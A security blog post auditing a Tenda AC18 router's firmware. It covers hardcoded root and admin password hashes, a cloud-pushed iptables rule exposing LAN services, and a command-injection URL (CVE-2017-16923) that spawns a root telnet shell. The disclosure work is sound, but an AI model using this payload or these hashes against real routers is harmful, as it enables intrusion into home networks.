February 13, 2018

Tenda, is this a bad design or a backdoor?

We recently acquired an AC1900 11ac Smart Dual-band Gigabit WiFi Router (AC18) and decided to audit its security. We found what we thought was a 0-day, until we saw someone previously discovered and reported it.  In addition we found a weird IPTables rule that allows a specific WAN IP to connect to “internal management ports” of the device. This weird behavior makes us wonder: is this a vendor backdoor or something more serious?

The Basics

We begin the audit as all Internet of Things (IoT) audits should: download the firmware, extract, and enumerate the attack surface. The firmware is located at http://tendacn.com/en/product/support/AC18.html, and “AC18 Firmware V15.03.05.05_EN” is the newest and vulnerable version. The downloaded file is compressed via RAR and extracts to US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin. Binwalk extracts the firmware nicely into a folder called “_US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin.extracted”

$ binwalk -e US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10919936 bytes, 
        CRC32: 0x43BEBCDA, flags: 0x0, version: 1, header size: 28 bytes, 
        loader offset: 0x1C, linux kernel offset: 0x1C9E50, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, 
        uncompressed size: 4585280 bytes
1875600 0x1C9E90 Squashfs filesystem, little endian, version 4.0, compression:xz, 
        size: 9041956 bytes, 935 inodes, blocksize: 131072 bytes, created: 2016-12-27 16:01:34

The extracted content contains the usual Linux file system

$ ls
 bin cfg dev etc etc_ro home init lib mnt proc root sbin sys tmp usr var webroot webroot_ro
$ ls bin
3322ip chkntfs dhcpcd_wan4 envram iprule.sh mknod phddns_wan1 pptp pptp_wan3 su unmkpkg xl2tpd_wan2
88ip chmod dhcps false kill moniter phddns_wan2 pptpc244.sh pptp_wan4 tar upgrade xl2tpd_wan3
alibaba_update cp dhcps-guest fdisk l2tp-control more phddns_wan3 pptp_callmgr ps taskset usleep 
xl2tpd_wan4 ash cttyhack dhttpd flash_erase l2tpd mount phddns_wan4 pptpc.sh pwd tendaupload vi 
xl2tppppd auto_discover date dmesg getopt ln msh ping pptpctrl query_version tendauploadcfe vsftpd
bcrelay dd dnrd grep login multiWAN ping6 pptpd rm time_check wan_surf business_proc df dnrd-guest 
httpd logserver mv pppd pptpd244.sh rmdir touch wins busybox dhcpcd dnrd-wisp hush ls netctrl 
pppd_wan1 pptpd.sh sed true wps_monitor cat dhcpcd_lan dosfsck igmpproxy lzma netstat pppd_wan2 
pptppppd sh ucloud_v2 xl2tpcltpppd cfm dhcpcd_wan1 eapd igs minidlna nvram pppd_wan3 
pptppppd-server sleep umount xl2tpd cfmd dhcpcd_wan2 echo inadyn miniupnpd p910nd pppd_wan4
 pptp_wan1 sntp uname xl2tpd-server chat dhcpcd_wan3 emf ip mkdir phddns pppoeconfig.sh 
pptp_wan2 speedtest unbzip2 xl2tpd_wan1

$ ls sbin/
arp depmod getty ifconfig insmod logread makedevs modprobe pivot_root reboot route sulogin 
syslogd vconfig blkid eject halt init klogd lsmod mdev ping6 poweroff rmmod slattach sysctl udevd

$ ls usr/bin/
[ arping clear diff env free hexdump ipcs less mkfifo passwd spawn-fcgi telnet top unzip wc 
xargs [[ awk cryptpw dirname expr hd hostid killall logger nginx printf sync test tr uptime 
wget yes app_data_center basename cut du find head id killall5 mesg nslookup reset tail tftp 
traceroute vmstat which

$ ls usr/sbin/
acsd comad et ip6tables-restore iptables iptables-save pppoecd Printer.sh smbd td_acs_dbg 
udhcpc usb_down.sh wl xtables-multi brctl dnsmasq ip6tables ip6tables-save iptables-restore 
nas pptpctrl rdate smbpasswd telnetd udhcpd usb_up.sh wlconf

A quick initial observation is the system utilizes a lot of common components, and has code Tenda implemented themselves. The passwords in /etc_ro/passwrd and /etc_ro/shadow has simple hard coded values. Which has odd similarities to: https://pierrekim.github.io/advisories/2016-quanta-0x00.txt

$ cat etc_ro/shadow
root:$1$OVhtCyFa$7tISyKW1KGssHAQj1vI3i1:14319::::::
$ cat etc_ro/passwd
root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh

Static analysis could continue by opening up binaries in IDA Pro, but we decided to attempt to get dynamic instrumentation on the system via a serial port.

Serial Connection

The image above shows the board. There is a serial interface exposed on the board, as seen by the cables plugged into the board in the image above. The speed is set to 115200 8N1 and the pin out is:

[ O]   O       O      O

TXD RXD GND VCC

It appears the serial port binds to an application with the following output/display:

HELP : loglevel(0-9) reBoot Crash terminate-all-tasks(E) memory-full-oom-kill(F) 
       kill-all-tasks(I) thaw-filesystems(J) show-backtrace-all-active-cpus(L) 
       show-memory-usage(M) nice-all-RT-tasks(N) show-registers(P) show-all-timers(Q) 
       Sync show-task-states(T) Unmount show-blocked-tasks(W)

Unfortunately we do not have a command prompt… yet.

Service Enumeration

An NMap Scan of all ports returns:

$ nmap -p 0-65535 192.168.12.1

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-05 11:28 CST
Nmap scan report for 192.168.12.1
Host is up (1.0s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
0/tcp filtered unknown
80/tcp open http
1990/tcp open stun-p1
5500/tcp open hotline
8180/tcp open unknown
9000/tcp open cslistener
10004/tcp open emcrmirccd

Most of the ports host some form of a HTTP server. The main page looks like:

An interesting service, due to the rough appearance, is running on port 8180:

Port 8180: app_data_center

We were able to identify app_data_center as the service listening on port 8180 by searching for strings. Thanks to iptables, app_data_center is a LAN side service and is inaccessible from the WAN (for now). We found multiple buffer overflows, but since we didn’t have instrumentation yet we wanted a quick win that would get us closer to a reliable command prompt. In IoT devices command injection is the quickest way to accomplish that goal. Searching for system, execl, execlp, execle, execv, execvp, execvpe, and others will help identify potential command injection vulnerabilities. The function process_datamanage_usbeject appears interesting:

The function snprintf builds a command that receives a string from the update_usblist_conf function. The update_usblist_conf function pulls the string value from the URL parameter called dev_name.

The do_request_process calls the process_datamanage_usbeject function if the path is equal to usbeject as seen below:

Given a small full URL path obtained from viewing the web page source, we are able to construct a vulnerable URL:

/cgi-bin/luci/admin/datamanager/usbeject?dev_name=$(SOMECOMMAND)

In testing we replaced “SOMECOMMAND” above with “ping%20192.168.12.100”, and monitored for ICMP packets. Which to our surprise worked the first time. Our goal is to get a command prompt; the simplest way on IoT boxes is to take advantage of Busybox’s telnetd. A grep of the binary verified telenetd is supported. The command we will execute to get a command prompt is “/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%208181”. This makes our new request:

/cgi-bin/luci/admin/datamanager/usbeject?dev_name=$(/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%208181)

Call the vulnerable web page via python, Burp, or simply a browser, then netcat into port 8181. If the web application processes the data successfully the following JSON request is returned: {“code”:0, “msg”: “Success”}. If the exploit worked a root prompt will be displayed.

The joy of a working exploit is quickly replaced with sadness when a google search for “/cgi-bin/luci/admin/datamanager/usbeject?dev_name” returns https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16923. This is a known bug that has a CVE. Unfortunately for Tenda users, their latest firmware is still vulnerable. According to the CVE a half a dozen other Tenda firware versions are also vulnerable.

While we had access to the box we ran a few discover commands such as netstat and iptables with the following outputs:

~ # netstat -antup
netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 192.168.12.1:1990 0.0.0.0:* LISTEN 943/wps_monitor
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN 610/ucloud_v2
tcp 0 0 192.168.12.2:80 0.0.0.0:* LISTEN 708/dhttpd
tcp 0 0 192.168.12.1:80 0.0.0.0:* LISTEN 608/httpd
tcp 0 0 127.0.0.1:10002 0.0.0.0:* LISTEN 610/ucloud_v2
tcp 0 0 127.0.0.1:10003 0.0.0.0:* LISTEN 610/ucloud_v2
tcp 1 0 0.0.0.0:10004 0.0.0.0:* LISTEN 611/business_proc
tcp 0 0 0.0.0.0:8180 0.0.0.0:* LISTEN 450/nginx
tcp 0 0 0.0.0.0:8181 0.0.0.0:* LISTEN 5213/busybox
tcp 0 0 0.0.0.0:5500 0.0.0.0:* LISTEN 814/miniupnpd
tcp 0 0 127.0.0.1:8188 0.0.0.0:* LISTEN 469/app_data_center
tcp 0 0 127.0.0.1:10004 127.0.0.1:53823 ESTABLISHED 611/business_proc
tcp 0 0 192.168.12.1:8181 192.168.12.87:54979 ESTABLISHED 5213/busybox
tcp 0 0 127.0.0.1:48836 127.0.0.1:10003 ESTABLISHED 611/business_proc
tcp 0 0 127.0.0.1:10003 127.0.0.1:48836 ESTABLISHED 610/ucloud_v2
tcp 0 0 127.0.0.1:53823 127.0.0.1:10004 ESTABLISHED 611/business_proc
netstat: /proc/net/tcp6: No such file or directory
udp 0 0 0.0.0.0:42000 0.0.0.0:* 939/eapd
udp 0 0 192.168.12.1:42545 0.0.0.0:* 814/miniupnpd
udp 0 0 127.0.0.1:40500 0.0.0.0:* 943/wps_monitor
udp 0 0 192.168.12.1:53 0.0.0.0:* 689/dnrd
udp 0 0 192.168.12.1:67 0.0.0.0:* 868/dhcps
udp 0 0 0.0.0.0:67 0.0.0.0:* 868/dhcps
udp 0 0 0.0.0.0:39000 0.0.0.0:* 939/eapd
udp 0 0 0.0.0.0:1900 0.0.0.0:* 943/wps_monitor
udp 0 0 0.0.0.0:1900 0.0.0.0:* 814/miniupnpd
udp 0 0 0.0.0.0:37000 0.0.0.0:* 939/eapd
udp 0 0 0.0.0.0:137 0.0.0.0:* 612/auto_discover
udp 0 0 127.0.0.1:38032 0.0.0.0:* 941/nas
udp 0 0 127.0.0.1:37064 0.0.0.0:* 943/wps_monitor
udp 0 0 0.0.0.0:5351 0.0.0.0:* 814/miniupnpd
udp 0 0 0.0.0.0:5353 0.0.0.0:* 612/auto_discover
udp 0 0 0.0.0.0:43000 0.0.0.0:* 939/eapd
netstat: /proc/net/udp6: No such file or directory

~ # iptables -L -v
iptables -L -v
Chain INPUT (policy ACCEPT 11143 packets, 1406K bytes)
pkts bytes target prot opt in out source destination
1034 81239 ACCEPT all -- vlan2 any anywhere anywhere state RELATED,ESTABLISHED
0 0 DROP icmp -- vlan2 any anywhere anywhere icmp echo-request
11263 1416K access_ctrl all -- any any anywhere anywhere
12 1554 DROP all -- vlan2 any anywhere anywhere

Chain FORWARD (policy ACCEPT 130K packets, 101M bytes)
pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT 11571 packets, 5137K bytes)
pkts bytes target prot opt in out source destination
360 23567 dns_drop udp -- any any anywhere anywhere udp dpt:53 state NEW

Chain access_ctrl (1 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT icmp -- vlan2 any anywhere anywhere
0 0 ACCEPT tcp -- vlan2 any anywhere anywhere tcp dpt:1723
0 0 ACCEPT udp -- vlan2 any anywhere anywhere udp dpt:1701

Chain dns_drop (1 references)
pkts bytes target prot opt in out source destination
~ #

 

Backdoor or Bad Design

A quick google search tells us that Tenda has a history of backdoors in their devices, making us suspicious on anything we see. What we are about to discuss seems to be turned off at the moment, but luckly we saved traffic of the behavior. By envoking the server and updating a DNS record Tenda can enable this feature on demand since its baked into the devices. Some may argue that our discovery is a feature, not a backdoor. This “feature” gets triggered when the admin page, a potential attacker would have be temporarily stalled. An argument that what we are about to identify is a feature, not a backdoor is its triggered  when the admin page is logged into which would be an annoying wait if an individual is targeted.

It is possible for cloud.tenda.com.cn to push commands down to a home router that will enable remote connectivity to LAN side services. The following diagram gives an overview of issue:

The function that invokes the suspect behavior is called “communication_with_cloud”. In the httpd binary, the function sub_C7BE0 (the function at 0xc7be0) calls the offending code. sub_C7BE0 is called by formGetHomeLink which is called on successful authentication into the Tenda web portal.

We noticed that while logged into the admin portal the IPTables rules are upladed to allow a host on the internet connect in if its source port is set to 1822. The following is the IPTables rules printout:

~ # iptables -vL
iptables -vL
Chain INPUT (policy ACCEPT 1688 packets, 338K bytes)
pkts bytes target prot opt in out source destination
2008 88320 ACCEPT tcp -- vlan2 any 47.89.240.98 anywhere tcp spt:1822
114 18676 ACCEPT all -- vlan2 any anywhere anywhere state RELATED,ESTABLISHED
0 0 DROP icmp -- vlan2 any anywhere anywhere icmp echo-request
2715 539K access_ctrl all -- any any anywhere anywhere
58 5183 DROP all -- vlan2 any anywhere anywhere

Chain FORWARD (policy ACCEPT 753 packets, 149K bytes)
pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT 4104 packets, 494K bytes)
pkts bytes target prot opt in out source destination
438 25404 dns_drop udp -- any any anywhere anywhere udp dpt:53 state NEW

Chain access_ctrl (1 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT icmp -- vlan2 any anywhere anywhere
0 0 ACCEPT tcp -- vlan2 any anywhere anywhere tcp dpt:1723
0 0 ACCEPT udp -- vlan2 any anywhere anywhere udp dpt:1701

Chain dns_drop (1 references)
pkts bytes target prot opt in out source destination

47.89.240.98 appears to be an Alibaba cloud IP address. A quick scan of 47.89.240.98 shows Tenda isn’t patching or keeping the system up-to-date. The following is a banner grab of SSH which shows version 6.6.1, and OpenSSH version 7.6 is current as of this writing:

$ nc 47.89.240.98 22
SSH-2.0-OpenSSH_6.6.1

When we gave ourselves an IP address of 47.89.240.98 and forced our source port to be 1822 we were able to connect and exploit the previously mentioned vulnerability. We were able to connect to any services bound to all interfaces (0.0.0.0) in the previously displayed netstat output. This turns our LAN side vulnerability into a WAN side vulnerability. Any attacker in the internet path of these Tenda devices can possibly hijack this functionality for malicious purposes.

The 47.89.240.98 IP address is dynamically provided via a custom serialization protocol Tenda wrote. A typical conversation looks like:

A DNS request for cloud.tenda.com.cn returns 47.88.60.85 which hosts the control protocol. 47.88.60.85 is the server that tells the Tenda router to add the suspect IPTable rule. cloud.tenda.com.cn is still live and capable of invoking this suspect code.

To save time we will not be going into the reversing of the protocol, and will leave that as an exercise to the reader. We recommend you looking at libtpi, libcloud, and libucapi.

Conclusion

Most of this information is in the public domain already, but we do find it scary that a vendor can enable IPTables rules that allow configurable IP addresses the ability to connect to intentionally really vulnerable services. We were able to demonstrate Tenda or other malicious actors are capable of transforming a LAN vulnerability to a WAN side vulnerability. We can’t say this is malicious, and it probably isn’t but this shows IoT developers don’t always have security on their mind. It is odd that Tenda has not fixed the vulnerable firmwares which adds to our suspicions.

This story is by no means a unique one: IoT devices are, on average, simple to exploit – there are many features that developers have implemented that an attacker can mutate into something malicious. IoT devices provide amazing convenience. Turning on your heat remotely, watching your baby, unlocking your door, or providing household WiFi are conveniences that have a security cost.

If you have concerns with devices on your network, or would like us to audit your devices, let us know!

 

– Feb 13, 2018